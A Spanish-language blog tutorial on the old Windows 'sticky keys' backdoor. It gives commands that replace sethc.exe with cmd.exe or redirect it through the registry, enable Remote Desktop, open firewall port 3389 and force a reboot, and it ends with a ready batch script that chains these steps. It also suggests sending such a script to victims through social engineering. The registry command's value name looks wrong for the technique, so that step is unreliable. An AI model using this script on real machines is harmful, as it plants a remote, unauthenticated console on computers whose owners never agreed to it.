Sticky keys, el viejo hack de windows


Llave antigua

Desde Windows XP hasta windows 8.1 este hack funciona perfectamente. Realmente se trata de un función de windows que Microsoft no quiere quitar ya que no es un bug. La vulnerabilidad aprobecha la ejecución del programa conocido por sticky key de Windows y este se ejecuta cuando pulsas 5 veces la tecla shift. Cambiando el ejecutable al que llama el sticky keys es posible ejecutarlo pulsando 5 veces shift. Es necesario un acceso físico o a través de ingenieria social enviarle un script para que lo ejecute (batch, VBS, powershell,...)

Aquí os mostraremos las opciones que conocemos y también os facilitaremos un batch.

Probando que funciona el sticky key

Para comprobar que el sticky key de tu windows de pruebas funciona simplemente colocate en el escritorio, o en el login sin poner usuario y contraseña, y pulsa 5 veces la tecla shift. Si te aparece la siguiente imagen o algo parecido es que realmente te ha funcionado.

Captura hotkeys

Usando el remplazando de sethc.exe por cmd.exe

Una de las formas que yo siempre he conocido es la del simple remplazo de sethc.exe de system32 por el cmd.exe, este remplazo se hace renombrando el cmd.exe a sethc.exe . Para realizarlo apenas necesitamos un par de comandos, pero eso si, necesitamos también permisos de escritura sobre system32 (casi nada).

Con el primero comando haremos una copia de sethc.exe para luego dejar el sistema como estaba, estoes importante ya que nos quedaremos sin el programa inicial de sticky key.

copy "c:\windows\system32\sethc.exe" "c:\windows\system32\sethc.back

Con el segundo comando le diremos que copie el cmd.exe y lo renombre a sethc.exe

copy "c:\windows\system32\cmd.exe" "c:\windows\system32\sethc.exe"

Con esto ya podemos probar si funciona correctamente el sticky key. Pulsa 5 veces en el escritorio de windows la tecla shift y debería salirte la cmd lista.

Captura de cmd

Ahora si te ha salido puedes probar a cerrar sesión y en el apartado donde debes poner el login pulsar 5 veces shift y verás como te aparece la preciada consola. Si queremos dejar como estaba el Sticky key solo tendremos que renombrar el ejecutable de sethc.back. De esta forma.

copy "c:\windows\system32\sethc.back" "c:\windows\system32\sethc.exe"

A través del cambio de registro de windows

De esta forma lo único que debemos hacer es ejecutar este comando, con permisos de administrador, para que cuando se inicie la secuencia de de pulsar 5 veces shift inicie cmd.exe en vez de sethc.exe. Tan solo ejecutando esta línea en un cmd con permisos de administrador ya tendremos lo que queremos.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Prueba_CMD /t REG_SZ /d "C:\windows\system32\cmd.exe"

Prueba si ha funcionado pulsamos 5 veces shift y ver si aparece la cmd.

Rizando el rizo, habilitando escritorio remoto para acceder desde otro equipo con Sticky key

Una curiosa forma de aprobechar aún mas este "feature" es usándolo junto con escritorio remoto de windows, ya que al iniciar escritorio remoto desde otro windows al windows con el cmd activado podremos obtener la cmd de forma remota.

Primero de todo activaremos la opción de escritorio remoto de windows con el siguiente comando.

REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t "REG_DWORD" /d 0

También añadiremos una regla en el firewall para que bis deje conectar. En Windows XP:

netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all

En Windows 7 y superiores:

netsh firewall set service type = remotedesktop mode = enable

Dependiendo de versiones de Windows después del cambio de valor para fDenyTSConnections hay que reiniciar el PC, así que le indicaremos que queremos reiniciar con este comando.

shutdown -t 0 -r -f

Para probar si funciona necesitarás otro windows para iniciar una sesión remota. Cuando inicies te saldrá el login para introducir el usuario, al no tener el usuario pero tener puesto el Sticky Key con el cmd podremos pulsar 5 veces shift y aparecera la shell del otro equipo.

Batch

@echo off
title .
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Prueba_CMD /t REG_SZ /d
"C:\windows\system32\cmd.exe"
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all
shutdown -t 0 -r -f
exit

Webgrafía

A través del cambio de registro de windows http://www.hackplayers.com/2012/05/el-viejo-truco-de-las-sticky-keys-sigue.html